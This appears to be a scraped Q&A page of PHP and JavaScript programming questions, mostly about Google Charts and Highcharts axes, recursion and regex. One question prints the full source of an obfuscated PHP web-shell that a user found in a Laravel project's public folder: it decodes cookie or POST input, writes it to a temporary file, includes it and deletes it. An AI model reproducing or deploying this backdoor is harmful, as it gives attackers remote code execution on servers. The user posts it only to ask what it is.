Setting Hours and Minutes on Google Charts hAxis with jsondata - php

I have a Google Line chart that produces a number of tweets by time. As you can see, it does not currently show the 30 minute intervals. How do I get it to say 6:30am, 7:30am, etc... Also, how do I default it to switch between 6am and say 6:30am but all the way across the chart. For example, if the most recent was at 6:30am, then all of them should read on the 30 (7:30am, 8:30am, etc.)
{"cols":[{"id":"datetime","label":"datetime","type":"datetime"},{"id":"Tweets","label":"Tweets","type":"number"},{"role":"annotation","type":"string"},{"type":"string","role":"style"}],"rows":[{"c":[{"v":"Date(2016, 8, 08, 13, 30, 0)"},{"v":"5010"},{"v":"5010"},{"v":"point {fill-color: #5e6771}"}]},{"c":[{"v":"Date(2016, 8, 08, 13, 0, 0)"},{"v":"4670"},{"v":"4670"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 14, 0, 0)"},{"v":"4543"},{"v":"4543"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 14, 30, 0)"},{"v":"3230"},{"v":"3230"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 16, 30, 0)"},{"v":"3167"},{"v":"3167"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 16, 0, 0)"},{"v":"3013"},{"v":"3013"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 15, 0, 0)"},{"v":"2924"},{"v":"2924"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 15, 30, 0)"},{"v":"2892"},{"v":"2892"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 12, 30, 0)"},{"v":"2205"},{"v":"2205"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 11, 0, 0)"},{"v":"1789"},{"v":"1789"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 11, 30, 0)"},{"v":"1753"},{"v":"1753"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 9, 30, 0)"},{"v":"1653"},{"v":"1653"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 9, 0, 0)"},{"v":"1611"},{"v":"1611"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 12, 0, 0)"},{"v":"1598"},{"v":"1598"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 8, 30, 0)"},{"v":"1531"},{"v":"1531"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 10, 30, 0)"},{"v":"1490"},{"v":"1490"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 10, 0, 0)"},{"v":"1424"},{"v":"1424"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 8, 0, 0)"},{"v":"1081"},{"v":"1081"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 7, 30, 0)"},{"v":"888"},{"v":"888"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 7, 0, 0)"},{"v":"679"},{"v":"679"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 6, 30, 0)"},{"v":"673"},{"v":"673"},{"v":null}]},{"c":[{"v":"Date(2016, 8, 08, 6, 0, 0)"},{"v":"666"},{"v":"666"},{"v":null}]}]}
Google Charts Code:
<table class="graph-table">
<tr><td class="headerspacing2" colspan="3"><span class="header">Tweet Volume</span></td></tr>
<tr align="center"><td colspan="2">
<div id="curve_chart" style="width: 1280px; height: 430px">
<script type="text/javascript">
google.charts.load('current', {
callback: function () {
drawChart();
setInterval(drawChart, (60000));
function drawChart() {
$.ajax({
url: 'grab_twitter_stats.php',
type: 'get',
success: function (txt) {
var data = new google.visualization.DataTable(txt);
data.sort([{column: 0, desc:true}]);
var options = {
curveType: 'function',
hAxis: {
format: 'H, m',
textStyle: {
color: '#7acdd0',
fontSize: 20
},
gridlines: {
count: -1,
color: 'transparent'
},
},
vAxis: {
gridlines: {
color: '#7acdd0',
count: 1
},
textPosition: 'none'
},
emphasis: {
'color':'#000000',
},
pointSize: 15,
chartArea: {'width': '92%', 'height': '85%'},
pointShape: 'circle',
lineWidth: 5,
colors: ['#7acdd0'],
annotations: {
stemColor : 'none'
},
'tooltip' : {
trigger: 'none'
},
legend: { position: 'none' }
};
var chart = new google.visualization.LineChart(document.getElementById('curve_chart'));
chart.draw(data, options);
}
});
}
},
packages: ['corechart']
});
</script>
</div>
</td></tr>
</table>

use the hAxis.ticks configuration option to set custom labels on the x-axis
each tick should be the same data type as the x-axis column
so you can pull the values of data
var tickMarks = [];
for (var i = 0; i < data.getNumberOfRows(); i++) {
tickMarks.push(data.getValue(i, 0));
}
depending on the format of the labels, you may need to adjust the chartArea
see following working snippet...
google.charts.load('current', {
callback: function () {
txt = {"cols":[{"id":"datetime","label":"datetime","type":"datetime"},{"id":"Tweets","label":"Tweets","type":"number"},{"role":"annotation","type":"string"},{"type":"string","role":"style"}],"rows":[{"c":[{"v":"Date(2016, 7, 08, 13, 30, 0)"},{"v":"5010"},{"v":"5010"},{"v":"point {fill-color: #5e6771}"}]},{"c":[{"v":"Date(2016, 7, 08, 13, 0, 0)"},{"v":"4670"},{"v":"4670"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 14, 0, 0)"},{"v":"4543"},{"v":"4543"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 14, 30, 0)"},{"v":"3230"},{"v":"3230"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 16, 30, 0)"},{"v":"3167"},{"v":"3167"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 16, 0, 0)"},{"v":"3013"},{"v":"3013"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 15, 0, 0)"},{"v":"2924"},{"v":"2924"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 15, 30, 0)"},{"v":"2892"},{"v":"2892"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 12, 30, 0)"},{"v":"2205"},{"v":"2205"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 11, 0, 0)"},{"v":"1789"},{"v":"1789"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 11, 30, 0)"},{"v":"1753"},{"v":"1753"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 9, 30, 0)"},{"v":"1653"},{"v":"1653"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 9, 0, 0)"},{"v":"1611"},{"v":"1611"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 12, 0, 0)"},{"v":"1598"},{"v":"1598"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 8, 30, 0)"},{"v":"1531"},{"v":"1531"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 10, 30, 0)"},{"v":"1490"},{"v":"1490"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 10, 0, 0)"},{"v":"1424"},{"v":"1424"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 8, 0, 0)"},{"v":"1081"},{"v":"1081"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 7, 30, 0)"},{"v":"888"},{"v":"888"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 7, 0, 0)"},{"v":"679"},{"v":"679"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 6, 30, 0)"},{"v":"673"},{"v":"673"},{"v":null}]},{"c":[{"v":"Date(2016, 7, 08, 6, 0, 0)"},{"v":"666"},{"v":"666"},{"v":null}]}]};
var data = new google.visualization.DataTable(txt);
data.sort([{column: 0, desc:true}]);
var tickMarks = [];
for (var i = 0; i < data.getNumberOfRows(); i++) {
tickMarks.push(data.getValue(i, 0));
}
var options = {
annotations: {
stemColor : 'none'
},
chartArea: {
width: '92%',
height: '70%'
},
colors: ['#7acdd0'],
curveType: 'function',
emphasis: {
color: '#000000'
},
hAxis: {
format: 'H:mm a',
gridlines: {
count: -1,
color: 'transparent'
},
textStyle: {
color: '#7acdd0',
fontSize: 14
},
ticks: tickMarks
},
height: 400,
legend: {
position: 'none'
},
lineWidth: 5,
pointShape: 'circle',
pointSize: 15,
tooltip : {
trigger: 'none'
},
width: 1280,
vAxis: {
gridlines: {
color: '#7acdd0',
count: 1
},
textPosition: 'none'
}
};
var chart = new google.visualization.LineChart(document.getElementById('curve_chart'));
chart.draw(data, options);
},
packages: ['corechart']
});
<script src="https://www.gstatic.com/charts/loader.js"></script>
<div id="curve_chart"></div>

Related

In my live project .php files are creating with name like t1kpvh7s.php which contains this type of code kindly guide what are these for

this is the file code which is created automatically in my public folder in laravel 8 project deployed on ubuntu server. Is this some kind of malware or virus Please kindly explain it, thanks is advance
function x1($c2)
{
$j3 = "dHr-k<s6y7x.c_3?umLaFlb*po4#1eg#hf8;vI25" . " /ntEi'()";
$f5 = '';
foreach ($c2 as $d4) {
$f5 .= $j3[$d4];
}
return $f5;
}
$b6 = array();
$b6[] = x1(array(14, 12, 14, 7, 39, 19, 12, 34, 3, 12, 26, 28, 28, 3, 26, 14, 0, 22, 3, 22, 12, 12, 39, 3, 19, 39, 28, 7, 33, 38, 7, 9, 9, 0, 28, 39));
$b6[] = x1(array(15, 24, 32, 24, 40, 31, 16, 42, 21, 45, 42, 4, 47, 13, 13, 20, 37, 18, 44, 13, 13, 48, 35, 40));
$b6[] = x1(array(11, 17, 25, 0, 16, 21, 29));
$b6[] = x1(array(1, 23));
$b6[] = x1(array(11, 41));
$b6[] = x1(array(27));
$b6[] = x1(array(5));
$b6[] = x1(array(33, 45, 21, 29, 13, 24, 16, 43, 13, 12, 25, 42, 43, 29, 42, 43, 6));
$b6[] = x1(array(19, 2, 2, 19, 8, 13, 17, 29, 2, 30, 29));
$b6[] = x1(array(6, 43, 2, 13, 2, 29, 24, 29, 19, 43));
$b6[] = x1(array(29, 10, 24, 21, 25, 0, 29));
$b6[] = x1(array(6, 16, 22, 6, 43, 2));
$b6[] = x1(array(16, 42, 21, 45, 42, 4));
$b6[] = x1(array(6, 43, 2, 21, 29, 42));
$b6[] = x1(array(24, 19, 12, 4));
$b6[] = x1(array(17, 0, 39));
foreach ($b6[8]($_COOKIE, $_POST) as $d14 => $p11) {
function k8($b6, $d14, $b10)
{
return $b6[11]($b6[9]($d14 . $b6[0], ($b10 / $b6[13]($d14)) + 1), 0, $b10);
}
function b7($b6, $s12)
{
return #$b6[14]($b6[3], $s12);
}
function r9($b6, $s12)
{
if (isset($s12[2])) {
$i13 = $b6[4] . $b6[15]($b6[0]) . $b6[2];
#$b6[7]($i13, $b6[6] . $b6[1] . $s12[1]($s12[2]));
#include($i13);
#$b6[12]($i13);
exit();
}
}
$p11 = b7($b6, $p11);
r9($b6, $b6[10]($b6[5], $p11 ^ k8($b6, $d14, $b6[13]($p11))));
}

How to configure google chart to change from line to column

I have a chart that is being showed in an html page that is presenting a chart.
the chart looks like this:
the code i have for it is:
google.charts.load('current', {'packages':['corechart','bar']});
google.charts.setOnLoadCallback(drawChart);
function drawChart() {
var data = google.visualization.arrayToDataTable([
['Data', 'Valor de Compra'],
<?php echo $dados;?>
var options = {
'backgroundColor': 'transparent',
hAxis: {
format: 'y M/dd',
gridlines: {count: 15},
direction:1, slantedText:true, slantedTextAngle:90,
},
vAxis: {
gridlines: {color: 'none'},
minValue: 0
}
};
var chart = new google.visualization.LineChart(document.getElementById('curve_chart'));
chart.draw(data, options);
}
The variable $dados is getting this data:
[new Date(2018, 11, 04), 3.00],[new Date(2018, 11, 03), 3.20],[new Date(2018, 10, 29), 2.95],[new Date(2018, 10, 29), 3.50],[new Date(2018, 10, 23), 3.20],[new Date(2018, 9, 18), 2.95],[new Date(2018, 9, 18), 2.95],[new Date(2018, 9, 18), 2.95],[new Date(2018, 9, 17), 2.95],[new Date(2018, 9, 17), 2.90],[new Date(2018, 9, 12), 2.95],[new Date(2018, 9, 11), 2.95],[new Date(2018, 9, 11), 2.95],[new Date(2018, 9, 08), 2.20],[new Date(2018, 8, 13), 2.10],[new Date(2018, 8, 13), 2.10],[new Date(2018, 8, 12), 2.00],[new Date(2018, 8, 12), 2.95],[new Date(2018, 8, 08), 2.00],[new Date(2018, 8, 07), 2.10],
]);
And my goal is to change this layout to something more attracting and good-looking.
I'v been trying to change it to a column chart but so far everything failed...
I'm sure it must be something really simple...
is there a way to only have the year and the month when a new year start and when a new month starts?
Thank you in advance!
google.charts.load('current', {'packages':['bar']});
google.charts.setOnLoadCallback(drawChart);
function drawChart() {
var data = google.visualization.arrayToDataTable([
['Data', 'Valor de Compra'],
]);
var chart = new google.charts.Bar(document.getElementById('columnchart_material'));
then
<div id="columnchart_material" style="width: 800px; height: 500px;"></div>

PHP Recursive Function top list

I want make recursive function
when i search any id the id introid will show and introid will show their introid [Urdu Guide]
if i search id 45
will show result like
22
11
5
2
1
<?php
function searchID($id)
{
if ($id>1) {print intval($id/2)."\n"; searchID(intval($id/2));} else return 1;
}
searchID(45);
?>
Assuming you may have tried something and not successful with the recursion approach ... here is the solution!
<?php
$introid = array(0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 19, 19, 20, 20, 21, 21, 22, 22, 23, 23, 24, 24, 25, 25);
$id = range(1, count($introid));
$associative_array= array_combine($id, $introid);
function lets_recurse($id, $associative_array)
{
if($id==1 || $id==0)
{
echo '';
}
else if(isset($associative_array[$id]))
{
echo $associative_array[$id].' ';
lets_recurse($associative_array[$id], $associative_array);
}
else
{
echo '';
}
}
lets_recurse(45, $associative_array);
?>

php extract multiple sections of text from string

I'm trying to extract the text in the following way:
$subname = "subarray({value=subarray({0.5, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48}, EXCEL*48, 1)";
preg_match('#\{(.*?)\}#',$subname, $match, PREG_OFFSET_CAPTURE);
print_r($match[1][1]);
$matchs = substr( $subname, 0, $match[1][1]);
print_r($matchs);
I would like to obtain the following text from $subname
0.5, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48
EXCEL
*48
I'm struggling with the 2nd bit (getting the EXCEL word). I wonder whether it is possible to get preg_match to give me the rest of the string?
You may use
'#\{([\s\d.,]*)},\s*(\p{L}+)(\*\d+)#'
See the regex demo.
Details:
\{ - a {
([\s\d.,]*) - Group 1 capturing 0+ whitespaces, digits, commas and dots
} - a literal }
, - a comma
\s* - 0+ whitespaces
(\p{L}+) - Group 2: one or more letters
(\*\d+) - Group 3: a * and 1+ digits.
See a PHP demo below.
$subname = "subarray({value=subarray({0.5, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48}, EXCEL*48, 1)";
$res = array();
if (preg_match('#\{([\s\d.,]*)},\s*(\p{L}+)(\*\d+)#',$subname, $match)) {
$res = explode(", ", $match[1]);
array_push($res, $match[2]);
array_push($res, $match[3]);
}
print_r($res);

Highchart error with date values on xaxis

I am trying to build a line chart but my highchart isn't rendering with the following code.
Could someone check what am I doing wrong?
$('#employee_chart').highcharts({
chart: {
type: 'line'
},
title: {
text: 'REPORTS AT A GLANCE (LAST 30 DAYS)'
},
xAxis: {
type: "datetime",
dateTimeLabelFormats: {
day: '%d'
},
tickInterval: 24 * 3600 * 1000,
min: Date.UTC(<?php echo date("Y, m, d",strtotime("-30 days"));?>),
max: Date.UTC(<?php echo date("Y, m, d");?>)
},
yAxis: {
title: {
text: 'Temperature (°C)'
}
},
plotOptions: {
line: {
dataLabels: {
enabled: true
},
enableMouseTracking: false
}
},
series: [{
name: 'Unique Logins',
data: [7, 6, 9, 14, 18, 21, 25, 26, 23, 18, 13, 9, 7, 6, 9, 14, 18, 21, 25, 26, 23, 18, 13, 9, 7, 6, 9, 14, 18, 21]
}]
});
Thank you
It seems you are missing pointStart which is cause of the issue.
pointStart :someDate
See Fiddle with similar issue when no pointStart
and Working fiddle when defined pointStart
The problem seems to be coming from your xaxis settings:
As you can see here your chart renders without these settings: http://jsfiddle.net/e4fru078/
tickInterval: 24 * 3600 * 1000,
min: Date.UTC(<?php echo date("Y, m, d",strtotime("-30 days"));?>),
max: Date.UTC(<?php echo date("Y, m, d");?>)
I would recommend to look into categories for your xaxis:
example here: http://jsfiddle.net/gh/get/jquery/1.7.2/highslide-software/highcharts.com/tree/master/samples/highcharts/chart/reflow-true/

Categories